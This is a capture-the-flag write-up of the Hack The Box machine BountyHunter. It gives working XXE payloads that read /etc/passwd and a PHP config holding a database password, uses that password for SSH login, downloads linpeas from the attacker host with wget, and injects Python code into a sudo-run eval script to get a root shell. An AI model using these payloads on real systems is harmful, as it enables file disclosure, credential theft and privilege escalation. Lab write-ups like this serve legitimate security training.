--- search: exclude: true --- # BountyHunter Writeup ![](img/66.png) ## Introduction : BountyHunter is an easy Linux box released back in July 2021 ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter] → vim /etc/hosts [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter] → sudo vim /etc/hosts [sudo] password for nothing: [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter] → cat /etc/hosts | grep bounty 10.129.95.166 bountyhunter.htb [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/BountyHunter] → nmap -sCV bountyhunter.htb Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-29 16:10 UTC Nmap scan report for bountyhunter.htb (10.129.95.166) Host is up (0.027s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA) | 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA) |_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Bounty Hunters |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.12 seconds ## **Part 2 : Getting User Access** Our nmap scan picked up port 80 so let's investigate it: ![](prg/66_001.png) We click "Portal" and it shows us the following: ![](prg/66_002.png) So here we see that we can input some text in the fields, so let's intercept it with burpsuite: ![](prg/66_003.png) ![](prg/66_004.png) So here we see that forwarding the request, once sent adds data to a DB. However let's take a closer look at the data which seems to be a base64 string once b64 decoded: ![](prg/66_005.png) [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] → vim data [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] → cat data <****?xml version="1.0" encoding="ISO-8859-1"?> <****bugreport> <****title>niihlism <****cwe>cwe <****cvss>10.0 <****reward>999999 <****/bugreport> So from here, we can modify the xml data with a payload to print out /etc/passwd: [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] → vim data [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] → cat data <****?xml version="1.0" encoding="ISO-8859-1"?> <****!DOCTYPE nothing [ <****!ELEMENT nothing ANY > <****!ENTITY nihilism SYSTEM "file:///etc/passwd" >]> <****bugreport> <****title> &nihilism;<****/title> <****cwe>cwe <****/cwe> <****cvss>10.0 <**/cvss> <****reward>999999 <****/reward> <****/bugreport> [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] → base64 -w0 data PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KICA8IURPQ1RZUEUgbmloaWxpc3QgWyAgCiAgPCFFTEVNRU5UIG5paGlsaXNtIEFOWSA+CiAgPCFFTlRJVFkgeHhlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIiA+XT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5uaWhpbGlzbTwvdGl0bGU+CgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz4xMC4wPC9jdnNzPgoJCTxyZXdhcmQ+OTk5OTk5PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+Cg==% Then use the b64 string in the burp repeater, and don't forget to URL encode it by selecting it and pressing CTRL+U, then click send: ![](prg/66_006.png) So now we know the users on the system, so let's continue by looking for other files: [ 10.10.16.14/23 ] [ nowhere ] [~] → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://bountyhunter.htb/ -x php =============================================================== Gobuster v3.3 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://bountyhunter.htb/ [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.3 [+] Extensions: php [+] Timeout: 10s =============================================================== 2022/11/20 11:10:47 Starting gobuster in directory enumeration mode =============================================================== /.php (Status: 403) [Size: 281] /index.php (Status: 200) [Size: 25169] /resources (Status: 301) [Size: 324] [--> http://bountyhunter.htb/resources/] /assets (Status: 301) [Size: 321] [--> http://bountyhunter.htb/assets/] /portal.php (Status: 200) [Size: 125] /css (Status: 301) [Size: 318] [--> http://bountyhunter.htb/css/] /db.php (Status: 200) [Size: 0] /js (Status: 301) [Size: 317] [--> http://bountyhunter.htb/js/] So let's try to print out the db.php file using the php filter base64-encode method to avoid having the php code being executed when we try to read it: <****?xml version="1.0" encoding="ISO-8859-1"?> <****!DOCTYPE nothing [ <****!ELEMENT nothing ANY > <****!ENTITY nihilism SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]> <****bugreport> <****title> &nihilism;<****/title> <****cwe>cwe <****/cwe> <****cvss>10.0 <****/cvss> <****reward>999999 <****/reward> <****/bugreport> [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] → base64 -w0 dataphp PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/PgogIDwhRE9DVFlQRSBub3RoaW5nIFsgIAogIDwhRUxFTUVOVCBub3RoaW5nIEFOWSA+CiAgPCFFTlRJVFkgbmloaWxpc20gU1lTVEVNICJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCIgPl0+CgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU+Jm5paGlsaXNtOzwvdGl0bGU+CgkJPGN3ZT5jd2U8L2N3ZT4KCQk8Y3Zzcz4xMC4wPC9jdnNzPgoJCTxyZXdhcmQ+OTk5OTk5PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+Cg==% ` ![](prg/66_007.png) So it managed to read the db.php file and gave out it's contents in b64 format, so let's decode it: [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] → echo 'PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=' | base64 -d <****?php // TODO -> Implement login system with the database. $dbserver = "localhost"; $dbname = "bounty"; $dbusername = "admin"; $dbpassword = "**m19RoAU0hP41A1sTsq6K** "; $testuser = "test"; ?> And now we have credentials ! Coupled with the development username we found earlier, we login: [ 10.8.0.3/24 ] [ nowhere ] [~/HTB/BountyHunter] → sshpub development@bountyhunter.htb The authenticity of host 'bountyhunter.htb (10.129.95.166)' can't be established. ED25519 key fingerprint is SHA256:p7RCN4B2AtB69d0vE1LTmg0lRRlnsR1fxArJ+KNoNFQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'bountyhunter.htb' (ED25519) to the list of known hosts. development@bountyhunter.htb's password: Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sun 20 Nov 2022 11:16:54 AM UTC System load: 0.01 Usage of /: 23.7% of 6.83GB Memory usage: 13% Swap usage: 0% Processes: 217 Users logged in: 0 IPv4 address for eth0: 10.129.95.166 IPv6 address for eth0: dead:beef::250:56ff:fe96:475 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8 development@bountyhunter:~$ id uid=1000(development) gid=1000(development) groups=1000(development) development@bountyhunter:~$ cat user.txt 62XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it ! We managed to login as the development user. ## **Part 3 : Getting Root Access** Then, in order to privesc, we use linpeas.sh as we did on the Previse box: [term1] [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter] → locate linpeas.sh /home/nothing/HTB/Cap/linpeas.sh /home/nothing/HTB/Knife/linpeas.sh /home/nothing/HTB/Paper/linpeas.sh /home/nothing/HTB/Previse/linpeas.sh [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter] → cp /home/nothing/HTB/Previse/linpeas.sh . [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/BountyHunter] → python3 -m http.server 9090 Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... [term2] development@bountyhunter:~$ which wget curl /usr/bin/wget /usr/bin/curl development@bountyhunter:~$ wget http://10.10.16.14:9090/linpeas.sh -O /tmp/peas.sh --2022-11-20 11:19:30-- http://10.10.16.14:9090/linpeas.sh Connecting to 10.10.16.14:9090... connected. HTTP request sent, awaiting response... 200 OK Length: 776167 (758K) [application/x-sh] Saving to: ‘/tmp/peas.sh’ /tmp/peas.sh 100%[==========================================================================================================================================================>] 757.98K 123KB/s in 9.3s 2022-11-20 11:19:41 (81.1 KB/s) - ‘/tmp/peas.sh’ saved [776167/776167] development@bountyhunter:~$ chmod +x /tmp/peas.sh development@bountyhunter:~$ /tmp/peas.sh ` ![](prg/66_008.png) Let it run, then scrolling through the output we see the following: ![](prg/66_009.png) So apparently the user development can run a python script as the root user, so let's take a look at it: development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py #Skytrain Inc Ticket Validation System 0.1 #Do not distribute this file. def load_file(loc): if loc.endswith(".md"): return open(loc, 'r') else: print("Wrong file type.") exit() def evaluate(ticketFile): #Evaluates a ticket to check for ireggularities. code_line = None for i,x in enumerate(ticketFile.readlines()): if i == 0: if not x.startswith("# Skytrain Inc"): return False continue if i == 1: if not x.startswith("## Ticket to "): return False print(f"Destination: {' '.join(x.strip().split(' ')[3:])}") continue if x.startswith("__Ticket Code:__"): code_line = i+1 continue if code_line and i == code_line: if not x.startswith("**"): return False ticketCode = x.replace("**", "").split("+")[0] if int(ticketCode) % 7 == 4: validationNumber = eval(x.replace("**", "")) if validationNumber > 100: return True else: return False return False def main(): fileName = input("Please enter the path to the ticket file.\n") ticket = load_file(fileName) #DEBUG print(ticket) result = evaluate(ticket) if (result): print("Valid ticket.") else: print("Invalid ticket.") ticket.close main() This python script validates tickets with the following format: development@bountyhunter:/opt/skytrain_inc$ ls -lash invalid_tickets/ total 24K 4.0K drwxr-xr-x 2 root root 4.0K Jul 22 2021 . 4.0K drwxr-xr-x 3 root root 4.0K Jul 22 2021 .. 4.0K -r--r--r-- 1 root root 102 Jul 22 2021 390681613.md 4.0K -r--r--r-- 1 root root 86 Jul 22 2021 529582686.md 4.0K -r--r--r-- 1 root root 97 Jul 22 2021 600939065.md 4.0K -r--r--r-- 1 root root 101 Jul 22 2021 734485704.md development@bountyhunter:/opt/skytrain_inc$ cat invalid_tickets/734485704.md # Skytrain Inc ## Ticket to Bridgeport __ticket code:__ **18+71+8** ##Issued: 2021/06/21 #End Ticket So the idea is to create a poisoned ticket like so: development@bountyhunter:~$ cat /tmp/nihi.md # Skytrain Inc ## Ticket to Bridgeport __Ticket Code:__ ****32+110+43+ __import__('os').system('id')**** ##Issued: 2022/11/22 #End Ticket development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py Please enter the path to the ticket file. /tmp/nihi.md Destination: Bridgeport **uid=0(root) gid=0(root) groups=0(root)** Valid ticket. And as you can see we managed to get code execution as the root user, so let's use it to spawn a root shell: development@bountyhunter:~$ vim /tmp/nihi.md development@bountyhunter:~$ cat /tmp/nihi.md # Skytrain Inc ## Ticket to Bridgeport __Ticket Code:__ **32+110+43+ __import__('os').system('bash')** ##Issued: 2022/11/22 #End Ticket development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py Please enter the path to the ticket file. /tmp/nihi.md Destination: Bridgeport root@bountyhunter:/home/development# id uid=0(root) gid=0(root) groups=0(root) root@bountyhunter:/home/development# cd root@bountyhunter:~# cat root.txt af1770ee0049711f6b5450004f011db0 afXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it! We managed to privesc to the root user and get the root flag. ## **Conclusion** Here we can see the progress graph : ![](img/66_graph.png)